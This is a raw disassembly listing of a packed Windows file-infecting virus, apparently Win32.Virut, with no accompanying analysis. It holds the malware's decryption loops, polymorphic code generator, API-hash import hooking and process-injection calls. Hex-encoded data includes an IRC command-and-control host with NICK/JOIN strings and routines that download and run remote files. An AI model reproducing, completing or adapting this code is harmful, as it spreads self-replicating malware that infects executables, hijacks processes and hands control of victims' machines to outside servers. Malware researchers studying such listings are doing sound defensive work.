jz short loc_4FE59C
loc_4FE57E: ; CODE XREF: .RLPack:004FE518j
; .RLPack:004FE51Bj ...
lea esi, [ebp+403435h]
loc_4FE584: ; CODE XREF: .RLPack:004FE51Ej
mov edi, [esp+4]
movsb
movsd
mov ebx, [ebp+4039B2h]
mov esi, [ebp+4039B6h]
mov edi, [ebp+4039BAh]
loc_4FE59C: ; CODE XREF: sub_4FE53F+3Dj
pop ebp
retn
sub_4FE53F endp
; ---------------------------------------------------------------------------
loc_4FE59E: ; CODE XREF: sub_4FE5BD+2p
; sub_4FE53F:loc_4FE7A7p
pop edx
push 0
push 0
push 0
push 0
push 40001h
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_4FE5AD: ; CODE XREF: .RLPack:004FE537j
; .RLPack:004FE53Aj
les ebp, [edx+0]
push eax
push 0Ch
mov eax, esp
jmp edx
; ---------------------------------------------------------------------------
aVt_3 db 'VT_3',0
db 0
; =============== S U B R O U T I N E =======================================
sub_4FE5BD proc near ; CODE XREF: sub_4FE53F+9p
xor ecx, ecx
call loc_4FE59E
lea edx, [ebp+4011A1h]
push edx
push ecx
push ecx
push eax
call dword ptr [ebp+403540h]
add esp, 20h
retn
sub_4FE5BD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FE5D8 proc near ; CODE XREF: sub_4FE53F:loc_4FE565p
; sub_5003AC+25Bp
mov dh, dl
mov ecx, 225Fh
loc_4FE5DF: ; CODE XREF: sub_4FE5D8+Cj
xor [eax], dl
inc eax
add dl, dh
loop loc_4FE5DF
retn
sub_4FE5D8 endp
; ---------------------------------------------------------------------------
db 8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4FE53F
loc_4FE5E8: ; CODE XREF: sub_4FE53F+2Bj
and dword ptr [ebp+401580h], 0
and dword ptr ss:loc_401584[ebp], 0
and dword ptr [ebp+401588h], 0
mov eax, [ebp+403431h]
xor ecx, ecx
push 1
mov cl, 20h
pop dword ptr [ebp+40397Eh]
loc_4FE60F: ; CODE XREF: sub_4FE53F+E0j
xor edx, edx
shr eax, 1
setb dl
shl dl, 3
add [ebp+40397Eh], edx
loop loc_4FE60F
push edi
mov byte ptr [ebp+401303h], 1
mov [ebp+403548h], esi
lea esi, loc_4015BB[ebp]
xor ecx, ecx
lea edi, [ebp+403558h]
mov cl, 1Eh
call sub_4FE9A2
pop edi
call dword ptr [ebp+403594h]
shr eax, 1Fh
jz loc_4FE728
mov eax, [edi+14h]
push 40h
add eax, ebx
push 8001000h
mov dword ptr ss:loc_403550[ebp], eax
push 69CEh
push 0
call dword ptr ss:loc_4035C8[ebp]
test eax, eax
jz loc_4FE56C
xchg eax, edi
lea esi, sub_401000[ebp]
mov ebp, edi
mov ecx, 0A74h
sub ebp, offset sub_401000
lea edx, [ebp+401283h]
rep movsd
jmp edx
; END OF FUNCTION CHUNK FOR sub_4FE53F
; ---------------------------------------------------------------------------
sub esp, 20h
mov edi, esp
push 8
xor eax, eax
pop ecx
lea edx, [ebp+401A3Dh]
rep stosd
mov edi, esp
mov [edi+10h], edx
inc byte ptr [edi+1Ch]
push edi
push 10003h
call dword ptr ss:loc_403550[ebp]
add esp, 20h
test eax, eax
jz loc_4FE56C
xchg eax, edi
push 0
push 1
push 80000400h
push 10000h
call dword ptr ss:loc_403550[ebp]
test eax, eax
jz loc_4FE56C
push 0
push eax
push 40000h
push 0
shr eax, 0Ch
push edi
push 1
push eax
push 10001h
call dword ptr ss:loc_403550[ebp]
push 1000Ah
call dword ptr ss:loc_403550[ebp]
call sub_4FE718
jmp loc_4FE56C
; =============== S U B R O U T I N E =======================================
sub_4FE718 proc near ; CODE XREF: .RLPack:004FE70Ep
; sub_4FE718+Dj
push 1
pop ecx
jecxz short locret_4FE727
push 0Ah
call dword ptr [ebp+4035BCh]
jmp short sub_4FE718
; ---------------------------------------------------------------------------
locret_4FE727: ; CODE XREF: sub_4FE718+3j
retn
sub_4FE718 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4FE53F
loc_4FE728: ; CODE XREF: sub_4FE53F+10Fj
cmp dword ptr ss:loc_403570[ebp], 0
jz loc_4FE56C
call near ptr loc_4FE73F+1
dec esi
push esp
inc esp
dec esp
dec esp
loc_4FE73F: ; CODE XREF: sub_4FE53F+1F6p
add bh, bh
xchg eax, ebp
mov ds:0B58D0040h, dh
jnb short near ptr loc_4FE75C+5
inc eax
add [ebx], dh
leave
lea edi, [ebp+4035D0h]
mov cl, 0Bh
xchg eax, ebx
call sub_4FE9A2
loc_4FE75C: ; CODE XREF: sub_4FE53F+209j
cmp dword ptr ss:loc_4035F8[ebp], 0
jz loc_4FE56C
mov eax, dword ptr ss:loc_4035D4[ebp]
push dword ptr [eax+1]
pop dword ptr ss:loc_403395[ebp]
mov eax, [ebp+4035E8h]
push dword ptr [eax+1]
pop dword ptr [ebp+4033E2h]
mov eax, [ebp+4035D8h]
push dword ptr [eax+1]
pop dword ptr ss:loc_4033E9[ebp]
mov ecx, dword ptr ss:loc_4035DC[ebp]
jecxz short loc_4FE7A7
push dword ptr [ecx+1]
pop dword ptr ss:loc_4033F6[ebp]
loc_4FE7A7: ; CODE XREF: sub_4FE53F+25Dj
call loc_4FE59E
lea edi, [ebp+40364Eh]
mov ecx, edi
push 0
neg cl
push dword ptr [eax+4]
and ecx, 3
push 40h
add edi, ecx
push edi
push 0
push 18h
lea esi, [ebp+40159Fh]
mov ecx, 1Ch
mov edx, esp
lea eax, ds:0FFFFFFFEh[ecx*2]
stosw
lea eax, ds:0[ecx*2]
stosw
lea eax, [edi+4]
stosd
xor ah, ah
loc_4FE7EC: ; CODE XREF: sub_4FE53F+2B0j
lodsb
stosw
loop loc_4FE7EC
push 0
push 69CEh
mov ecx, esp
push 0
mov eax, esp
push 0
push 8000000h
push 40h
push ecx
push edx
push 0Eh
push eax
call dword ptr [ebp+4035E0h]
pop eax
add esp, 40h
push 69CEh
mov edx, esp
push 0
mov ecx, esp
push 40h
push 0
push 2
push edx
push 0
push 69CEh
push 0
push ecx
push 0FFFFFFFFh
push eax
call dword ptr ss:loc_4035E4[ebp]
pop edi
pop ecx
test edi, edi
jz loc_4FE56C
lea esi, sub_401000[ebp]
mov ecx, 0A74h
mov ebp, edi
rep movsd
sub ebp, offset sub_401000
lea eax, loc_40144C[ebp]
jmp eax
; END OF FUNCTION CHUNK FOR sub_4FE53F
; ---------------------------------------------------------------------------
dw 958Dh
dd offset loc_4018E0
dd 9C95FF52h, 0E8004035h, 16h
aLookupprivil_0 db 'LookupPrivilegeValueA',0
dw 0FF50h
dd 40354895h, 4C858900h, 50004035h, 6A206A54h, 0EC95FFFFh
dd 85004035h, 3F755FC0h, 56026A96h, 6AD48B56h, 11E85201h
dd 53000000h, 62654465h, 72506775h, 6C697669h, 656765h
dd 4C95FF56h, 8B004035h, 565656C4h, 0FF575650h, 4035D095h
dd 10C48300h, 3C95FF57h, 6A004035h, 0FF026A00h, 40357095h
dd 128B900h, 2B970000h, 240C89E1h, 95FF5754h, 4035ACh
dd 0A583F633h, 40363Ch, 0FF575400h, 4035B095h, 74C08500h
dd 0FE83465Ch, 0FFEE7204h, 6A082474h, 0FF2A6A00h, 4035A895h
dd 74C08500h, 3DE893DCh, 33000004h, 30E391C9h, 363C8539h
dd 28750040h, 0DAEC181h, 54500000h, 50515650h, 95FF5350h
dd 403568h, 7459C085h, 2474FF0Fh, 3C858F08h, 0E8004036h
dd 0FFFFFDACh, 3C95FF53h, 0EB004035h, 28C48198h, 57000001h
dd 353C95FFh, 0E5E90040h, 8DFFFFFBh, 58580049h, 29CE0058h
dd 0D650000h, 3 dup(0)
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_4FE9A2 proc near ; CODE XREF: sub_4FE53F+100p
; sub_4FE53F+218p ...
push ecx
push esi
push ebx
call dword ptr [ebp+403548h]
stosd
pop ecx
loc_4FE9AD: ; CODE XREF: sub_4FE9A2+Ej
lodsb
test al, al
jnz short loc_4FE9AD
loop sub_4FE9A2
retn
sub_4FE9A2 endp
; ---------------------------------------------------------------------------
aBasenamedobjec db '\BaseNamedObjects\W32_Virtu',0
aLstrlen db 'lstrlen',0
aCreatefilea_0 db 'CreateFileA',0
aCreatefilema_0 db 'CreateFileMappingA',0
aCreateprocessa db 'CreateProcessA',0
aCreateremoteth db 'CreateRemoteThread',0
aCreatethread_0 db 'CreateThread',0
aCreatetoolhe_0 db 'CreateToolhelp32Snapshot',0
aExitthread db 'ExitThread',0
aFiletimetosy_0 db 'FileTimeToSystemTime',0
aGetfileattri_0 db 'GetFileAttributesA',0
aGetfilesize db 'GetFileSize',0
aGetfiletime_0 db 'GetFileTime',0
aGetmodulehandl db 'GetModuleHandleA',0
aGettempfilenam db 'GetTempFileNameA',0
aGettemppatha db 'GetTempPathA',0
aGetversion db 'GetVersion',0
aGetversionexa db 'GetVersionExA',0
aLoadlibrarya db 'LoadLibraryA',0
aMapviewoffile db 'MapViewOfFile',0
aOpenfilemappin db 'OpenFileMappingA',0
aOpenprocess db 'OpenProcess',0
aProcess32fir_0 db 'Process32First',0
aProcess32nex_0 db 'Process32Next',0
aSetfileattribu db 'SetFileAttributesA',0
aSetfiletime db 'SetFileTime',0
aSleep db 'Sleep',0
aSystemtimetofi db 'SystemTimeToFileTime',0
aUnmapviewoffil db 'UnmapViewOfFile',0
aVirtualalloc db 'VirtualAlloc',0
aWritefile_0 db 'WriteFile',0
aNtadjustprivil db 'NtAdjustPrivilegesToken',0
aNtcreatefile db 'NtCreateFile',0
aNtcreateproces db 'NtCreateProcess',0
aNtcreateproc_0 db 'NtCreateProcessEx',0
aNtcreatesectio db 'NtCreateSection',0
aNtmapviewofsec db 'NtMapViewOfSection',0
aNtopenfile db 'NtOpenFile',0
aNtopenprocesst db 'NtOpenProcessToken',0
aNtprotectvirtu db 'NtProtectVirtualMemory',0
aNtwritevirtual db 'NtWriteVirtualMemory',0
aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0
aWsastartup_0 db 'WSAStartup',0
aClosesocket_0 db 'closesocket',0
aConnect_0 db 'connect',0
aGethostbynam_0 db 'gethostbyname',0
aRecv_0 db 'recv',0
aSend_1 db 'send',0
aSocket_0 db 'socket',0
aInternetclos_0 db 'InternetCloseHandle',0
aInternetgetc_1 db 'InternetGetConnectedState',0
aInternetopen_0 db 'InternetOpenA',0
aInternetopen_1 db 'InternetOpenUrlA',0
aInternetread_0 db 'InternetReadFile',0
aAdvapi32_dll_0 db 'ADVAPI32.DLL',0
aRegclosekey_0 db 'RegCloseKey',0
aRegopenkeyex_0 db 'RegOpenKeyExA',0
aRegqueryvalu_0 db 'RegQueryValueExA',0
aRegsetvaluee_0 db 'RegSetValueExA',0
; =============== S U B R O U T I N E =======================================
sub_4FED3D proc near ; CODE XREF: .RLPack:004FEDE4p
; .RLPack:004FEDF5p ...
var_5 = byte ptr -5
sub ecx, 5
sub ecx, eax
push ecx
push 0E8000000h
lea ecx, [esp+8+var_5]
push 0
push 5
push ecx
push eax
push ebx
push 5
mov ecx, esp
push eax
mov edx, esp
push eax
push esp
push 40h
push ecx
push edx
push ebx
call dword ptr [ebp+4035F0h]
add esp, 0Ch
call dword ptr [ebp+4035F4h]
add esp, 8
retn
sub_4FED3D endp
; ---------------------------------------------------------------------------
push edi
lea eax, [ebp+4015B1h]
xor edi, edi
push eax
push 0
push 0Eh
call dword ptr ss:loc_4035A4[ebp]
test eax, eax
jz loc_4FEE20
push eax
push 69CEh
mov edx, esp
push 0
mov ecx, esp
push 40h
push 100000h
push 2
push edx
push 0
push 69CEh
push 0
push ecx
push ebx
push eax
call dword ptr ss:loc_4035E4[ebp]
pop edi
pop ecx
call dword ptr ss:loc_40353C[ebp]
test edi, edi
jz short loc_4FEE20
mov ecx, [ebp+401588h]
jecxz short loc_4FEDD8
lea edx, sub_401000[ebp]
add edx, ecx
push edi
push ebx
call edx
loc_4FEDD8: ; CODE XREF: .RLPack:004FEDCAj
mov eax, dword ptr ss:loc_4035D4[ebp]
lea ecx, [edi+2394h]
call sub_4FED3D
mov eax, [ebp+4035E8h]
lea ecx, [edi+23E1h]
call sub_4FED3D
mov eax, [ebp+4035D8h]
lea ecx, [edi+23E8h]
call sub_4FED3D
mov eax, dword ptr ss:loc_4035DC[ebp]
test eax, eax
jz short loc_4FEE20
lea ecx, [edi+23F5h]
call sub_4FED3D
loc_4FEE20: ; CODE XREF: .RLPack:004FED8Aj
; .RLPack:004FEDC2j ...
mov eax, edi
pop edi
retn
; ---------------------------------------------------------------------------
push ebp
call $+5
pop ebp
sub ebp, 401A14h
xor ecx, ecx
lea eax, loc_401DAE[ebp]
push ecx
push esp
push ecx
push ecx
push eax
push ecx
push ecx
call dword ptr [ebp+40356Ch]
xchg eax, [esp]
call dword ptr ss:loc_40353C[ebp]
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 55h
dd 0E8h, 0ED815D00h, 401A43h, 958DFF6Ah, 401A0Eh, 20CD5250h
dd 2A0024h, 660CC483h, 1A5485C7h, 20CD0040h, 1A5685C7h
dd 240040h, 0C35D002Ah, 16A016Ah, 73FF33FFh, 8515FF04h
dd 68F074C0h, 0Bh, 35BD08Bh, 0B58D3C50h, 401A72h, 10CBA8Bh
dd 8A8B0000h, 108h, 0CB2BF803h, 0F3CB8B60h, 57461A6h, 0EBF5E247h
dd 0FC783C2h, 53D48B57h, 5450CC8Bh, 5251406Ah, 95FFFF6Ah
dd 4035F0h, 8B0CC483h, 40357495h, 83D72B00h, 7C707EAh
dd 0E8006Ah, 0C3035789h, 0E8581A6Ah, 9, 0AA61428Dh, 0F075C9FEh
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_4FEF05 proc near ; CODE XREF: sub_4FF770+1Bp
; sub_4FF8E8+3p ...
imul edx, [ebp+403646h], 8088405h
inc edx
mov [ebp+403646h], edx
mul edx
retn
sub_4FEF05 endp
; ---------------------------------------------------------------------------
db 55h, 0E8h, 0
dd 5D000000h, 1B09ED81h, 9D8B0040h, 40364Ah, 8247C83h
dd 0B9840F00h, 81000000h, 208ECh, 4685400h, 0FF000001h
dd 40359095h, 8DFC8B00h, 1042484h, 6A500000h, 4E800h, 52560000h
dd 0FF570054h, 40358C95h, 8DC93300h, 10497h, 6A515100h
dd 16A5102h, 68h, 95FF5240h, 40355Ch, 74F68596h, 6854505Bh
dd 104h, 24B4FF57h, 220h, 362895FFh, 85590040h, 0E31674C0h
dd 0D48B5014h, 5152006Ah, 95FF5657h, 4035CCh, 75C08559h
dd 95FF56D0h, 40353Ch, 5244578Dh, 58446A57h, 104978Dh
dd 33AB0000h, 59106AC0h, 5050ABF3h, 50505050h, 95FF5250h
dd 403564h, 208C481h, 74FF0000h, 95FF0824h, 403618h, 1895FF53h
dd 5D004036h, 800004C2h, 1750A3Eh, 848D8B46h, 0E3004015h
dd 958D19h, 3004010h, 0D2FF56D1h, 880FC084h, 11Fh, 110840Fh
dd 3E800000h, 4610753Ah, 0F003E80h, 10184h, 203E8000h
dd 8146F175h, 4E49503Eh, 8B427547h, 146C6CFh, 51CE2B4Fh
dd 5651006Ah, 1095FF53h, 59004036h, 850FC13Bh, 0DFh, 1DA2858Dh
dd 6A0040h, 0C68h, 0FF535000h, 40361095h, 0C3D00h, 850F0000h
dd 0BFh, 0B1E9h, 503E8100h, 0F564952h, 0A585h, 8C68300h
dd 0F0D3CACh, 9984h, 75203C00h, 3A3CACF3h, 8C850Fh, 0DAD0000h
dd 20202020h, 6567213Dh, 0AC7F7574h, 7C75203Ch, 20FF7E81h
dd 75747468h, 37E8171h, 2F2F3A70h, 47C66875h, 310F00FFh
dd 2710BAh, 52E2F700h, 35BC95FFh, 0C0330040h, 50505050h
dd 9E8h, 776F4400h, 616F6C6Eh, 95FF0064h, 403620h, 3674C085h
dd 8589C933h, 40364Ah, 2006851h, 51518000h, 95FF5056h
dd 403624h, 1B03958Dh, 33500040h, 505154C9h, 0FF515152h
dd 40356C95h, 24048700h, 353C95FFh, 0C3F80040h, 15778D80h
dd 0F9010040h, 464F53C3h, 52415754h, 694D5C45h, 736F7263h
dd 5C74666Fh, 646E6957h, 5C73776Fh, 72727543h, 56746E65h
dd 69737265h, 455C6E6Fh, 6F6C7078h, 726572h, 67726154h
dd 6F487465h, 2007473h, 0F0FF00h, 70000000h, 69786F72h
dd 72692E6Dh, 6C616763h, 2E797861h, 4E006C70h, 204B4349h
dd 6A657267h, 736D7962h, 4553550Ah, 30652052h, 30353032h
dd 202E2031h, 2D3A202Eh, 4E494F4Ah, 69762620h, 0A757472h
dd 0E855h, 815D0000h, 401DB4EDh, 7785C600h, 4015h, 359495FFh
dd 0E8C10040h, 6A3C741Fh, 50B58B1Eh, 59004035h, 752E3CACh
dd 3E81662Ah, 23751DFFh, 3640BD8Dh, 768B0040h, 66A55702h
dd 6A858DA5h, 8F004033h, 40339085h, 4689FA00h, 0FE4E8CFAh
dd 0E201B1FBh, 8D43EBCFh, 4015B185h, 6A5000h, 95FF0E6Ah
dd 4035A4h, 8247C83h, 0E82B7504h, 4, 434653h, 358895FFh
dd 48E80040h, 0E8FFFFFCh, 7, 5F434653h, 0FF00534Fh, 40358895h
dd 0FC31E800h, 56E8FFFFh, 0FFFFFFF3h, 4013038Dh, 0BE800h
dd 53550000h, 32335245h, 4C4C442Eh, 9C95FF00h, 0E8004035h
dd 0Ah, 72707377h, 66746E69h, 0FF500041h, 40354895h, 54858900h
dd 0F004035h, 0E08D8D31h, 89004018h, 40364685h, 95FF5100h
dd 40359Ch, 46893h, 0B58D0000h, 4018EDh, 2CBD8D59h, 0E8004036h
dd 0FFFFF6D6h, 6785C766h, 0FF00401Dh, 69A583F0h, 401Dh
dd 1D27958Dh, 54500040h, 6A016Ah, 26852h, 95FF8000h, 403630h
dd 755AC085h, 5A8D8D22h, 5200401Dh, 0B58D066Ah, 401D67h
dd 50505654h, 95FF5251h, 403634h, 2C95FF58h, 0C6004036h
dd 40384D85h, 0CE80000h, 57000000h, 4B434F53h, 442E3233h
dd 0FF004C4Ch, 40359C95h, 7689300h, 8D000000h, 401844B5h
dd 0BD8D5900h, 4035FCh, 0FFF651E8h, 0CE8FFh, 49570000h
dd 454E494Eh, 4C442E54h, 95FF004Ch, 40359Ch, 840FC085h
dd 1E7h, 56893h, 0B58D0000h, 401882h, 18BD8D59h, 0E8004036h
dd 0FFFFF61Ah, 361CBD83h, 0F000040h, 1C284h, 90EC8100h
dd 54000001h, 10168h, 0FC95FF00h, 81004035h, 190C4h, 0D48B5000h
dd 0FF52006Ah, 40361C95h, 59C08500h, 88680D75h, 0FF000013h
dd 4035BC95h, 83E2EB00h, 401D69BDh, 29750000h, 1D6D858Dh
dd 0FF500040h, 40360895h, 0FC08500h, 13B84h, 0C408B00h
dd 30FF008Bh, 1D69858Fh, 85C60040h, 40384Dh, 6A006A01h
dd 0FF026A01h, 40361495h, 0FFF88300h, 112840Fh, 8D930000h
dd 401D6595h, 52106A00h, 495FF53h, 85004036h, 0F2850FC0h
dd 8D000000h, 401D86BDh, 0E808B100h, 0FFFFFABCh, 9468h
dd 0E62B5E00h, 54243489h, 359895FFh, 0BD8D0040h, 401D94h
dd 9DE801B1h, 8BFFFFFAh, 0C1102444h, 440B08E0h, 0E0C10424h
dd 24440B08h, 5E85008h, 25000000h, 78362Eh, 5495FF57h
dd 83004035h, 47C60CC4h, 958D2006h, 401D81h, 2168006Ah
dd 52000000h, 1095FF53h, 8D004036h, 5714247Ch, 355895FFh
dd 4C60040h, 6A400A38h, 53575000h, 361095FFh, 0E6030040h
dd 1DA2BD8Dh, 6A0040h, 0C68h, 0FF535700h, 40361095h, 0C3D00h
dd 4D750000h, 364EB58Dh, 8D8D0040h, 40384Dh, 6ACE2Bh, 0FF535651h
dd 40360C95h, 0F88300h, 8B912F7Eh, 4EB58DFEh, 0B0004036h
dd 75AEF20Dh, 0F8E86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh
dd 2BCF8BEAh, 4EBD8DCEh, 0F3004036h, 0EBF787A4h, 95FF53B9h
dd 403600h, 1577BD80h, 74010040h, 7530682Ah, 95FF0000h
dd 4035BCh, 384DBD80h, 74000040h, 6985C711h, 401Dh, 0C6000000h
dd 40384D85h, 56E90000h, 0C7FFFFFEh, 40158085h, 0
dd 4C25D80h, 4F0A0D00h, 6F6F6E20h, 666F206Eh, 66696C20h
dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h
dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h
dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h
dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h
dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 68637461h
dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh
dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h
dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h
dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h
dd 656D6974h, 74492021h, 6C207327h, 21657461h, 84040A0Dh
dd 142930C7h, 79ED10A6h, 0FAE54FD4h, 524827B1h, 0F96A4037h
dd 0AD47606Eh, 59576299h, 14133AABh, 0CC5C10A6h, 0C17EC26Ch
dd 0B3521A73h, 0D8B8h, 13h dup(0)
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_4FF6BA proc near ; CODE XREF: sub_4FF701:loc_4FF75Ep
; sub_4FF7C1+7p ...
arg_0 = dword ptr 4
pusha
and dword ptr ss:loc_4039A6[ebp], 0
and dword ptr [ebp+4039AAh], 0
movzx eax, word ptr [ebx+14h]
lea edx, [ebx+18h]
movzx ecx, word ptr [ebx+6]
add edx, eax
loc_4FF6D6: ; CODE XREF: sub_4FF6BA+41j
mov eax, [esp+20h+arg_0]
sub eax, [edx+0Ch]
jb short loc_4FF6F8
cmp eax, [edx+8]
jnb short loc_4FF6F8
mov eax, [edx+14h]
sub eax, [edx+0Ch]
mov dword ptr ss:loc_4039A6[ebp], edx
mov [ebp+4039AAh], eax
jmp short loc_4FF6FD
; ---------------------------------------------------------------------------
loc_4FF6F8: ; CODE XREF: sub_4FF6BA+23j
; sub_4FF6BA+28j
add edx, 28h
loop loc_4FF6D6
loc_4FF6FD: ; CODE XREF: sub_4FF6BA+3Cj
popa
retn 4
sub_4FF6BA endp
; =============== S U B R O U T I N E =======================================
sub_4FF701 proc near ; CODE XREF: .RLPack:004FFA2Dp
; .RLPack:004FFA53p
mov byte ptr ss:loc_4022F7[ebp], al
call sub_4FF770
push 20h
lea eax, [ebp+402224h]
pop ecx
loc_4FF718: ; CODE XREF: sub_4FF701+1Ej
cmp [eax], ebx
jz short loc_4FF728
add eax, 4
loop loc_4FF718
inc dword ptr ss:loc_40398E[ebp]
retn
; ---------------------------------------------------------------------------
loc_4FF728: ; CODE XREF: sub_4FF701+19j
neg ecx
add ecx, dword ptr ss:loc_4022F7[ebp]
jecxz short loc_4FF742
loc_4FF732: ; CODE XREF: sub_4FF701+39j
push dword ptr [eax-4]
pop dword ptr [eax]
sub eax, 4
loop loc_4FF732
mov [ebp+402224h], ebx
loc_4FF742: ; CODE XREF: sub_4FF701+2Fj
; sub_4FF770+34j
cmp dword ptr [edx], 0
jz short loc_4FF74C
sub esi, [edx]
add esi, [edx+10h]
loc_4FF74C: ; CODE XREF: sub_4FF701+44j
lea ecx, [esi-4]
pop eax
pop ebx
pop esi
cmp dword ptr [edx], 0
jz short loc_4FF75B
push dword ptr [edx]
jmp short loc_4FF75E
; ---------------------------------------------------------------------------
loc_4FF75B: ; CODE XREF: sub_4FF701+54j
push dword ptr [edx+10h]
loc_4FF75E: ; CODE XREF: sub_4FF701+58j
call sub_4FF6BA
sub ecx, esi
sub ecx, [ebp+4039AAh]
pop eax
add ecx, [ebx+34h]
retn
sub_4FF701 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FF770 proc near ; CODE XREF: sub_4FF701+6p
pop dword ptr [ebp+403992h]
mov dword ptr ss:loc_40398E[ebp], 0
call sub_4FF7C1
mov eax, dword ptr ss:loc_40398E[ebp]
call sub_4FEF05
call sub_4FF7AD
cmp dword ptr ss:loc_40398E[ebp], 0
jnz short loc_4FF7A6
mov dword ptr ss:loc_4022A0[ebp], ebx
jmp short loc_4FF742
; ---------------------------------------------------------------------------
loc_4FF7A6: ; CODE XREF: sub_4FF770+2Cj
dec dword ptr ss:loc_40398E[ebp]
retn
sub_4FF770 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FF7AD proc near ; CODE XREF: sub_4FF770+20p
pop dword ptr [ebp+403992h]
mov dword ptr ss:loc_40398E[ebp], edx
call sub_4FF7C1
xor ecx, ecx
retn
sub_4FF7AD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FF7C1 proc near ; CODE XREF: sub_4FF770+10p
; sub_4FF7AD+Cp ...
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov edx, [ebx+80h]
push edx
call sub_4FF6BA
add edx, [ebp+4039AAh]
add edx, esi
loc_4FF7D5: ; CODE XREF: sub_4FF7C1+120j
cmp dword ptr [edx+0Ch], 0
jz locret_4FF8E6
cmp dword ptr [edx+10h], 0
jz locret_4FF8E6
mov eax, [edx+0Ch]
push eax
call sub_4FF6BA
add eax, [ebp+4039AAh]
add eax, esi
push eax
loc_4FF7FB: ; CODE XREF: sub_4FF7C1+47j
mov cl, [eax]
cmp cl, 0
jz short loc_4FF81B
cmp cl, 2Eh
jz short loc_4FF80A
loc_4FF807: ; CODE XREF: sub_4FF7C1+58j
inc eax
jmp short loc_4FF7FB
; ---------------------------------------------------------------------------
loc_4FF80A: ; CODE XREF: sub_4FF7C1+44j
mov ecx, [eax+1]
and ecx, 0DFDFDFDFh
cmp ecx, offset dword_4C4C44
jnz short loc_4FF807
loc_4FF81B: ; CODE XREF: sub_4FF7C1+3Fj
pop ecx
sub ecx, eax
cmp ecx, 0FFFFFFFAh
jg loc_4FF8DE
cmp word ptr [eax-2], 3233h
jnz loc_4FF8DE
push esi
cmp dword ptr [edx], 0
jnz short loc_4FF83E
mov ecx, [edx+10h]
jmp short loc_4FF840
; ---------------------------------------------------------------------------
loc_4FF83E: ; CODE XREF: sub_4FF7C1+76j
mov ecx, [edx]
loc_4FF840: ; CODE XREF: sub_4FF7C1+7Bj
add esi, ecx
push ecx
call sub_4FF6BA
add esi, [ebp+4039AAh]
loc_4FF84E: ; CODE XREF: sub_4FF7C1+90j
; sub_4FF7C1+117j
lodsd
test eax, eax
js short loc_4FF84E
jz loc_4FF8DD
push dword ptr [ebp+4039AAh]
push eax
call sub_4FF6BA
add eax, [ebp+4039AAh]
pop dword ptr [ebp+4039AAh]
add eax, [esp+4+var_4]
push ebx
add eax, 2
xor ebx, ebx
loc_4FF87A: ; CODE XREF: sub_4FF7C1+CEj
movzx ecx, byte ptr [eax]
jecxz short loc_4FF891
or cl, 20h
push ebx
shl [esp+0Ch+var_C], 4
sub [esp+0Ch+var_C], ebx
sub [esp+0Ch+var_C], ecx
pop ebx
inc eax
jmp short loc_4FF87A
; ---------------------------------------------------------------------------
loc_4FF891: ; CODE XREF: sub_4FF7C1+BCj
cmp ebx, 0DDBBD70Fh
jz short loc_4FF8D7
cmp ebx, 0DB6E45A8h
jz short loc_4FF8D7
cmp ebx, 0FFA13B59h
jz short loc_4FF8D7
cmp ebx, 0ACB522D6h
jz short loc_4FF8D7
cmp ebx, 0F358E993h
jz short loc_4FF8D7
cmp ebx, 0F358E97Dh
jz short loc_4FF8D7
cmp ebx, 0E1253F46h
jz short loc_4FF8D7
cmp ebx, 0E1253F30h
jz short loc_4FF8D7
call dword ptr [ebp+403992h]
loc_4FF8D7: ; CODE XREF: sub_4FF7C1+D6j
; sub_4FF7C1+DEj ...
pop ebx
jmp loc_4FF84E
; ---------------------------------------------------------------------------
loc_4FF8DD: ; CODE XREF: sub_4FF7C1+92j
pop esi
loc_4FF8DE: ; CODE XREF: sub_4FF7C1+60j
; sub_4FF7C1+6Cj
add edx, 14h
jmp loc_4FF7D5
; ---------------------------------------------------------------------------
locret_4FF8E6: ; CODE XREF: sub_4FF7C1+18j
; sub_4FF7C1+22j
retn
sub_4FF7C1 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4FF8E8 proc near ; CODE XREF: .RLPack:004FFA26p
; .RLPack:004FFA4Cp
push 4
pop eax
call sub_4FEF05
mov [ebp+4024D1h], dl
mov ax, 1831h
add ah, dl
shl ah, 3
add ah, dl
stosw
push 6
pop eax
call sub_4FEF05
add edx, 8
xchg edx, ecx
loc_4FF910: ; CODE XREF: sub_4FF8E8:loc_4FF94Fj
push 5
pop eax
call sub_4FEF05
cmp dl, 3
jnb short loc_4FF928
mov al, 50h
add al, [ebp+4024D1h]
stosb
jmp short loc_4FF94F
; ---------------------------------------------------------------------------
loc_4FF928: ; CODE XREF: sub_4FF8E8+33j
push 68h
pop eax
stosb
cmp dl, 3
jnz short loc_4FF949
mov al, 11h
call sub_4FEF05
mov eax, 1
loc_4FF93D: ; CODE XREF: sub_4FF8E8+5Dj
test dl, dl
jz short loc_4FF94E
shl eax, 1
dec dl
jmp short loc_4FF93D
; ---------------------------------------------------------------------------
jmp short loc_4FF94E
; ---------------------------------------------------------------------------
loc_4FF949: ; CODE XREF: sub_4FF8E8+47j
mov eax, 80000000h
loc_4FF94E: ; CODE XREF: sub_4FF8E8+57j
; sub_4FF8E8+5Fj
stosd
loc_4FF94F: ; CODE XREF: sub_4FF8E8+3Ej
loop loc_4FF910
retn
